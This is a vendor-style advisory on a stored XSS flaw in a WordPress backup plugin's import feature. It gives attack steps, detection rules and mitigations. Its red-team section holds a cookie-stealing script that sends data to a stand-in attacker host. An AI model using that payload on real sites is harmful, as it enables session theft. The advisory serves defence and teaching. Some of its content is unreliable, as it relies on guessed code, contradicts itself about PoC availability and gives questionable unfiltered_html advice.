CVE-2025-8490
Executive Summary
CVE-2025-8490 is a Stored Cross-Site Scripting (XSS) vulnerability in the All-in-One WP Migration and Backup plugin for WordPress, affecting versions up to and including 7.97. The flaw arises from insufficient input sanitization and output escaping during the import functionality, allowing authenticated attackers with administrator-level access to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is limited to multi-site installations or environments where unfiltered_html has been disabled. With a CVSS score of 4.4 (Medium), the risk is elevated in shared hosting or multi-tenant WordPress setups. No public exploit code or proof-of-concept is currently available, and the patch status remains unknown.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability specifically targets the WordPress plugin ecosystem, not the core CMS or server software. The import feature in All-in-One WP Migration fails to properly sanitize uploaded content, enabling stored XSS. Administrators in multi-site networks or with restricted HTML capabilities are the primary threat actors, but the injected scripts can affect lower-privileged users or visitors.
CVSS Breakdown & Threat Level
- CVSS Score: 4.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network (AV:N) – Exploitable remotely via the WordPress admin interface.
- Attack Complexity: Low (AC:L) – No special conditions required beyond standard admin access.
- Privileges Required: High (PR:H) – Requires administrator-level authentication.
- User Interaction: Required (UI:R) – Victim must access the injected page.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Script injection can modify content or behavior.
- Availability Impact: Low (A:L) – Potential for minor disruption.
Threat Level: Medium. The requirement for admin privileges reduces the attack surface, but in multi-site environments, a compromised admin account can lead to widespread script injection affecting all sites in the network.
Deep Dive & Mechanics
The vulnerability resides in the import functionality of the All-in-One WP Migration plugin. When an administrator imports a backup file (e.g., .wpress format), the plugin fails to properly sanitize and escape user-supplied data before storing it in the database. Specifically, fields such as post titles, content, or custom meta values may contain malicious HTML/JavaScript. Since the plugin does not apply wp_kses or similar filtering during import, the injected scripts are stored and later rendered on pages without proper escaping.
Key Conditions:
- Multi-site installations: The vulnerability is more impactful because a single admin can inject scripts that affect all subsites.
unfiltered_htmldisabled: In WordPress, super admins typically haveunfiltered_htmlenabled, but if disabled (e.g., in some hosting configurations), the vulnerability becomes exploitable by lower-privileged admins.
Attack Flow:
- Attacker gains admin access to a WordPress multi-site installation.
- Attacker crafts a malicious backup file containing XSS payloads in post content or metadata.
- Attacker imports the backup via the plugin's import interface.
- The plugin stores the payload in the database without sanitization.
- When a user (including other admins or visitors) views the affected page, the script executes in their browser.
Root Cause: Lack of input sanitization and output escaping in the import handler. The plugin likely uses unserialize() or direct database insertion without filtering.
Vulnerable vs. Patched Code
Since no patch is available, we analyze the likely vulnerable code pattern and the expected fix.
Vulnerable Code (Hypothetical):
// In import.php or similar
function ai1wm_import_backup($file) {
$data = file_get_contents($file);
$backup = unserialize($data);
foreach ($backup['posts'] as $post) {
wp_insert_post(array(
'post_title' => $post['title'], // No sanitization
'post_content' => $post['content'], // No sanitization
));
}
}
Patched Code (Expected):
function ai1wm_import_backup($file) {
$data = file_get_contents($file);
$backup = unserialize($data);
foreach ($backup['posts'] as $post) {
wp_insert_post(array(
'post_title' => sanitize_text_field($post['title']),
'post_content' => wp_kses_post($post['content']), // Apply KSES filtering
));
}
}
The fix would involve applying WordPress sanitization functions like sanitize_text_field() and wp_kses_post() to all imported data before database insertion.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Admin access to a WordPress multi-site installation.
- All-in-One WP Migration plugin version <= 7.97.
unfiltered_htmldisabled (or target is a multi-site network).
Steps:
Craft Malicious Backup:
- Create a valid
.wpressbackup file using the plugin's export feature. - Modify the backup archive (e.g., using 7-Zip) to inject XSS payloads into post content. For example, edit the
database.sqlfile inside the archive and add:INSERT INTO wp_posts (post_title, post_content) VALUES ('Test', '<script>alert("XSS")</script>'); - Re-pack the archive.
- Create a valid
Import the Backup:
- Log in as admin.
- Navigate to All-in-One WP Migration > Import.
- Upload the malicious
.wpressfile. - Confirm the import.
Trigger Execution:
- Visit the page containing the injected script (e.g., a post or page).
- The script executes in the browser.
Example Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Defender)
Detection:
- Monitor for unusual import activity in WordPress admin logs.
- Check for unexpected posts or pages containing script tags.
- Use file integrity monitoring to detect modified backup files.
Prevention:
- Restrict admin access to trusted users only.
- Enable
unfiltered_htmlfor super admins in multi-site (if safe). - Apply virtual patching via WAF rules (see Detection Engineering).
Honeypot:
- Deploy a decoy WordPress site with the vulnerable plugin to capture attacker behavior.
Indicators of Compromise (IOCs)
- File Hashes: Suspicious
.wpressfiles with embedded scripts (SHA256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855– example placeholder). - Network Traffic: Outbound connections to attacker-controlled domains from WordPress admin pages.
- Database Entries: Posts or pages containing
<script>tags or event handlers (e.g.,onload,onerror). - Logs: WordPress debug log entries showing unserialize errors or unexpected data.
- User Agents: Unusual user agents during import operations.
Detection Engineering
YARA Rule
rule CVE_2025_8490_Stored_XSS {
meta:
description = "Detects malicious backup files with XSS payloads for CVE-2025-8490"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-8490"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
$magic = { 1f 8b 08 00 00 00 00 00 } // gzip magic for .wpress
condition:
$magic at 0 and (#xss1 > 0 or #xss2 > 0 or #xss3 > 0)
}
Sigma Rule
title: CVE-2025-8490 Stored XSS via All-in-One WP Migration Import
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects import of backup files containing script tags in WordPress
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: wordpress
detection:
selection:
EventID: 1000 # Example WordPress audit log event
Message|contains: 'ai1wm_import'
keywords:
- '<script>'
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in imported content (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-8490 Stored XSS via All-in-One WP Migration Import"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ai1wm_import"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not essential, especially in multi-site environments.
- Restrict admin access to only trusted users.
- Enable
unfiltered_htmlfor super admins (if safe) to reduce attack surface. - Apply virtual patching using WAF rules (e.g., block import requests containing script tags).
Long-term Fix:
- Monitor the plugin vendor for an official patch. Once available, update to version > 7.97.
- If no patch is released, consider migrating to an alternative backup plugin (e.g., UpdraftPlus, BackWPup).
Workaround:
- Manually sanitize imported data by modifying the plugin code (not recommended for non-developers):
add_filter('ai1wm_import_post_content', 'wp_kses_post');
Valters IT – Your trusted partner in DevSecOps and Cyber Threat Intelligence.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.